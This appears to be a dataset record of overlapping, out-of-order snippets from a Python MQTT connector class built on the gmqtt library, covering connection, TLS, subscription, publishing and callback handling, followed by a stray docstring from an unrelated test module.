gets sent to disconnect", "\"\"\"publishes the message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self):", "return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed after", "properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is", "the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the connection", "be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list):", "and self.client_key, \\ \"Cannot enable ssl without specifying client_cert and client_key\" ssl_context =", "\"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port =", "BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running", "kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self):", "{self.host}:{self.port} - {e}' ) from None except Exception as e: raise ConnectionFailed(e) async", "on_message(self, *args): \"\"\"on_message callback gets executed when the connection receives a message. Arguments:", "the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic", "{dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def", "logger.warning('subscribe_topic is either None or an unknown data type.' ' Currently subscribed to", "publish(self, *args, **kwargs): \"\"\"publishes the message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs)", "{int} -- connection flags rc {int} -- connection result code properties {dict} --", "connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self,", "{string} -- message QOS level (0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s", "-- config of the current connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2]))", "# connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks", "the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the connnection with the", "\"\"\"get_connection_details returns the details about the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id,", "*args): \"\"\"on_message callback gets executed when the connection receives a message. Arguments: client", "when the connection receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string}", "elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either", "True except ConnectionRefusedError as e: # raising from None suppresses the exception chain", ".base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for", "def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port = port", "chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port} - {e}' )", "import uuid import ssl from gmqtt import Client as MQTTClient from .exceptions import", "e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the message to the", "payload {bytes} -- actual message bytes received qos {string} -- message QOS level", "MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe", "ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e:", "self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth", "the connnection with the broker Raises: DestinationNotAvailable: If broker is not available ConnectionFailed:", "with the broker Raises: DestinationNotAvailable: If broker is not available ConnectionFailed: If connection", "self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot enable ssl without specifying client_cert and", "self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details about the current", "e: # raising from None suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed:", "**kwargs): \"\"\"publishes the message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def", "isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None", "host self.port = port # topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic #", "ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e: #", "= self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl',", "logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing in on_connect() means that if", "on_connect() means that if we lose the connection and # reconnect then subscriptions", "\"Cannot enable ssl without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key)", "Error connecting to' f' {self.host}:{self.port} - {e}' ) from None except Exception as", "\"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the connnection with the broker Raises:", "self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() #", "**kwargs): self.host = host self.port = port # topics self.subscribe_topic = subscribe_topic self.publish_topic", "self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client =", "= kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details about the current MQTT", "after the connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} --", "the exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port} -", "executed when the connection receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic", "= kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def", "Currently subscribed to 0 topics.') async def on_message(self, *args): \"\"\"on_message callback gets executed", "= host self.port = port # topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic", "in on_connect() means that if we lose the connection and # reconnect then", "' Currently subscribed to 0 topics.') async def on_message(self, *args): \"\"\"on_message callback gets", "= kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the details about", "%s\", str(args[2])) # Subscribing in on_connect() means that if we lose the connection", "self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or an unknown data type.' '", "connnection with the broker Raises: DestinationNotAvailable: If broker is not available ConnectionFailed: If", "logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so that a signal gets sent", "made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags rc {int}", "from which message was received payload {bytes} -- actual message bytes received qos", "port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port = port # topics self.subscribe_topic", "details about the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected,", "gets executed after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP", "except ConnectionRefusedError as e: # raising from None suppresses the exception chain raise", "options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username", "broker Raises: DestinationNotAvailable: If broker is not available ConnectionFailed: If connection failed due", "message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect", "conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e: # raising from", "client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except", "executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback", "None or an unknown data type.' ' Currently subscribed to 0 topics.') async", "enable ssl without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context))", "port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key, \\ \"Cannot", "If broker is not available ConnectionFailed: If connection failed due to any other", "Failed: Error connecting to' f' {self.host}:{self.port} - {e}' ) from None except Exception", "is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so that a signal", "received qos {string} -- message QOS level (0,1,2) properties {dict} -- message properties", "Exception as e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the message", "connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing in on_connect() means", "# Subscribing in on_connect() means that if we lose the connection and #", "self.client_key, \\ \"Cannot enable ssl without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)", "is a callback that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def", "after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so", "-- message QOS level (0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s %s\",", "topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected", "= dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert and self.client_key,", "\"\"\"on_connect is a callback that gets exectued after the connection is made. Arguments:", "gmqtt.MQTTClient topic {string} -- topic from which message was received payload {bytes} --", "actual message bytes received qos {string} -- message QOS level (0,1,2) properties {dict}", "self.host = host self.port = port # topics self.subscribe_topic = subscribe_topic self.publish_topic =", "Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from which message was", "message bytes received qos {string} -- message QOS level (0,1,2) properties {dict} --", "\"\"\"force stop the connection with the MQTT broker.\"\"\" await self.client.disconnect() self.is_connected = False", "that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is", "which message was received payload {bytes} -- actual message bytes received qos {string}", "self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password =", "connection receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic", "MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port", "an unknown data type.' ' Currently subscribed to 0 topics.') async def on_message(self,", "library for connectors running over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic,", "\"\"\" logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing in on_connect() means that", ".exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector):", "that if we lose the connection and # reconnect then subscriptions will be", "self.client_cert and self.client_key, \\ \"Cannot enable ssl without specifying client_cert and client_key\" ssl_context", "except Exception as e: raise ConnectionFailed(e) async def publish(self, *args, **kwargs): \"\"\"publishes the", "a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so that", "failed due to any other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if", "Subscribing in on_connect() means that if we lose the connection and # reconnect", "raising from None suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting", "subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif", "reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic,", "self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP", "= self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic')", "\\ \"Cannot enable ssl without specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert,", "def publish(self, *args, **kwargs): \"\"\"publishes the message to the topic using client.publish\"\"\" self.client.publish(*args,", "from gmqtt import Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base", "async def publish(self, *args, **kwargs): \"\"\"publishes the message to the topic using client.publish\"\"\"", "client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in", "qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic:", "occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed after", "disconnect the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the connnection with", "If connection failed due to any other reason \"\"\" try: conn_kwargs = dict(host=self.host,", "subscribe_topic self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client", "self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message =", "asyncio import logging import uuid import ssl from gmqtt import Client as MQTTClient", "lose the connection and # reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\",", "we lose the connection and # reconnect then subscriptions will be renewed. #", "Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags rc {int} --", "-- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args):", "%s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that", "callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe", "is a callback that gets exectued after the connection is made. Arguments: client", "else: logger.warning('subscribe_topic is either None or an unknown data type.' ' Currently subscribed", "the broker Raises: DestinationNotAvailable: If broker is not available ConnectionFailed: If connection failed", "False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect", "\"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert", "@staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed after a disconnection", "exectued after the connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int}", "kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key =", "-- gmqtt.MQTTClient flags {int} -- connection flags rc {int} -- connection result code", "DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port} - {e}' ) from None", "gets executed when the connection receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient", "= port # topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection self.connection_id", "was received payload {bytes} -- actual message bytes received qos {string} -- message", "\"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args):", "self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic =", "is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a callback that gets", "other reason \"\"\" try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if", "str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else:", "STOP variable so that a signal gets sent to disconnect the client \"\"\"", "the current connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2])) # Subscribing in", "bytes received qos {string} -- message QOS level (0,1,2) properties {dict} -- message", "as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger =", "the connection receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} --", "unknown data type.' ' Currently subscribed to 0 topics.') async def on_message(self, *args):", "subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets the STOP variable so that a", "MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__)", "is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags rc", "and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True", "self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event()", "# raising from None suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed: Error", "class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running over MQTT. \"\"\" def", "to' f' {self.host}:{self.port} - {e}' ) from None except Exception as e: raise", "and # reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic,", "= kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns", "on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed after a disconnection occurs\"\"\" logger.info('Disconnected')", "Raises: DestinationNotAvailable: If broker is not available ConnectionFailed: If connection failed due to", "suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port}", "try: conn_kwargs = dict(host=self.host, port=self.port) if self.enable_auth: self.client.set_auth_credentials(self.username, self.password) if self.enable_ssl: assert self.client_cert", "def start(self): \"\"\"starts initiates the connnection with the broker Raises: DestinationNotAvailable: If broker", "None suppresses the exception chain raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f'", "{int} -- connection result code properties {dict} -- config of the current connection", "ConnectionFailed: If connection failed due to any other reason \"\"\" try: conn_kwargs =", "data type.' ' Currently subscribed to 0 topics.') async def on_message(self, *args): \"\"\"on_message", "self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected =", "as e: # raising from None suppresses the exception chain raise DestinationNotAvailable( f'Connection", "0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback that gets executed after a", "so that a signal gets sent to disconnect the client \"\"\" self.STOP.set() async", "over MQTT. \"\"\" def __init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host = host", "self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e: # raising from None suppresses", "the connection and # reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0)", "raise DestinationNotAvailable( f'Connection Failed: Error connecting to' f' {self.host}:{self.port} - {e}' ) from", "receives a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from", "connection flags rc {int} -- connection result code properties {dict} -- config of", "topic from which message was received payload {bytes} -- actual message bytes received", "available ConnectionFailed: If connection failed due to any other reason \"\"\" try: conn_kwargs", "DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt", "a message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from which", "current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic )", "gets executed after a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a", "= subscribe_topic self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False", "= publish_topic # connection self.connection_id = uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id)", "dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is", "self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message = self.on_message self.client.on_disconnect =", "client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from which message was received", "connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a", "f'Connection Failed: Error connecting to' f' {self.host}:{self.port} - {e}' ) from None except", "\"\"\"GMQTTConnector uses gmqtt library for connectors running over MQTT. \"\"\" def __init__(self, host,", "self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details", "from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__) class", "= ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as", "import ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector", "type.' ' Currently subscribed to 0 topics.') async def on_message(self, *args): \"\"\"on_message callback", "config of the current connection \"\"\" logger.info(\"Connected with result code %s\", str(args[2])) #", "= kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key", "DestinationNotAvailable: If broker is not available ConnectionFailed: If connection failed due to any", "__init__(self, host, port, subscribe_topic, publish_topic, **kwargs): self.host = host self.port = port #", "a disconnection occurs\"\"\" logger.info('Disconnected') @staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets", "port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect is a callback that", "kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos',", "asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl = kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth',", "message. Arguments: client {MQTTClient} -- gmqtt.MQTTClient topic {string} -- topic from which message", "logging import uuid import ssl from gmqtt import Client as MQTTClient from .exceptions", "# reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str):", "list): for topic in self.subscribe_topic: self.client.subscribe(topic, qos=self.qos) else: logger.warning('subscribe_topic is either None or", "is not available ConnectionFailed: If connection failed due to any other reason \"\"\"", "str(args[2])) # Subscribing in on_connect() means that if we lose the connection and", "specifying client_cert and client_key\" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_context.load_cert_chain(self.client_cert, keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected", "import ssl from gmqtt import Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable", "= self.on_connect self.client.on_message = self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP =", "connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient flags {int} -- connection flags", "uuid.uuid4().hex[:8] self.is_connected = False self.client = MQTTClient(self.connection_id) # callbacks self.client.on_connect = self.on_connect self.client.on_message", "sent to disconnect the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the", "import logging import uuid import ssl from gmqtt import Client as MQTTClient from", "{bytes} -- actual message bytes received qos {string} -- message QOS level (0,1,2)", "broker is not available ConnectionFailed: If connection failed due to any other reason", "keyfile=self.client_key) conn_kwargs.update(dict(ssl=ssl_context)) await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e: # raising", "variable so that a signal gets sent to disconnect the client \"\"\" self.STOP.set()", "gets sent to disconnect the client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates", "gmqtt import Client as MQTTClient from .exceptions import ConnectionFailed, DestinationNotAvailable from .base import", "# topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection self.connection_id = uuid.uuid4().hex[:8]", "logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running over MQTT. \"\"\"", "ConnectionFailed, DestinationNotAvailable from .base import BaseConnector logger = logging.getLogger(__name__) class GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses", "connection and # reconnect then subscriptions will be renewed. # client.subscribe(\"$SYS/#\", qos=0) if", "result code %s\", str(args[2])) # Subscribing in on_connect() means that if we lose", "kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos = kwargs.get('qos', 2) def get_connection_details(self): \"\"\"get_connection_details returns the", "logger.info(\"%s %s\", args[1], str(args[2])) return 0 @staticmethod def on_disconnect(*args): \"\"\"on_disconnect is a callback", "renewed. # client.subscribe(\"$SYS/#\", qos=0) if isinstance(self.subscribe_topic, str): self.client.subscribe(self.subscribe_topic, qos=self.qos) elif isinstance(self.subscribe_topic, list): for", "get_connection_details(self): \"\"\"get_connection_details returns the details about the current MQTT connection. \"\"\" return dict(", "client \"\"\" self.STOP.set() async def start(self): \"\"\"starts initiates the connnection with the broker", "the details about the current MQTT connection. \"\"\" return dict( connection_id=self.connection_id, host=self.host, port=self.port,", "= kwargs.get('enable_ssl', False) self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password')", "flags {int} -- connection flags rc {int} -- connection result code properties {dict}", "message was received payload {bytes} -- actual message bytes received qos {string} --", "callback that gets executed after a subscription is succesful\"\"\" logger.info('Subscribed') def ask_exit(self): \"\"\"sets", "gmqtt.MQTTClient flags {int} -- connection flags rc {int} -- connection result code properties", "@staticmethod def on_subscribe(*args): \"\"\"on_subscribe is a callback that gets executed after a subscription", "topic {string} -- topic from which message was received payload {bytes} -- actual", "await self.client.connect(**conn_kwargs) self.is_connected = True except ConnectionRefusedError as e: # raising from None", "topics.') async def on_message(self, *args): \"\"\"on_message callback gets executed when the connection receives", "self.port = port # topics self.subscribe_topic = subscribe_topic self.publish_topic = publish_topic # connection", "def stop(self): \"\"\"force stop the connection with the MQTT broker.\"\"\" await self.client.disconnect() self.is_connected", "self.on_message self.client.on_disconnect = self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic", "a signal gets sent to disconnect the client \"\"\" self.STOP.set() async def start(self):", "async def on_message(self, *args): \"\"\"on_message callback gets executed when the connection receives a", "def ask_exit(self): \"\"\"sets the STOP variable so that a signal gets sent to", "self.enable_auth = kwargs.get('enable_auth', False) self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert')", "*args, **kwargs): \"\"\"publishes the message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async", "(0,1,2) properties {dict} -- message properties \"\"\" logger.info(\"%s %s\", args[1], str(args[2])) return 0", "return dict( connection_id=self.connection_id, host=self.host, port=self.port, is_connected=self.is_connected, subscribe_topic=self.subscribe_topic, publish_topic=self.publish_topic ) def on_connect(self, *args): \"\"\"on_connect", "*args): \"\"\"on_connect is a callback that gets exectued after the connection is made.", "GMQTTConnector(BaseConnector): \"\"\"GMQTTConnector uses gmqtt library for connectors running over MQTT. \"\"\" def __init__(self,", "self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force stop the connection with the MQTT broker.\"\"\"", "self.on_disconnect self.client.on_subscribe = self.on_subscribe self.STOP = asyncio.Event() # options self.ack_topic = kwargs.get('ack_topic') self.enable_ssl", "the message to the topic using client.publish\"\"\" self.client.publish(*args, **kwargs) async def stop(self): \"\"\"force", "self.username = kwargs.get('username') self.password = kwargs.get('password') self.client_cert = kwargs.get('client_cert') self.client_key = kwargs.get('client_key') self.qos", "that gets exectued after the connection is made. Arguments: client {MQTTClient} -- gmqtt.MQTTClient" ]
[ "<reponame>JeremyJacquemont/weaverbird \"\"\" This module contains unit tests for every supported pipeline step \"\"\"" ]
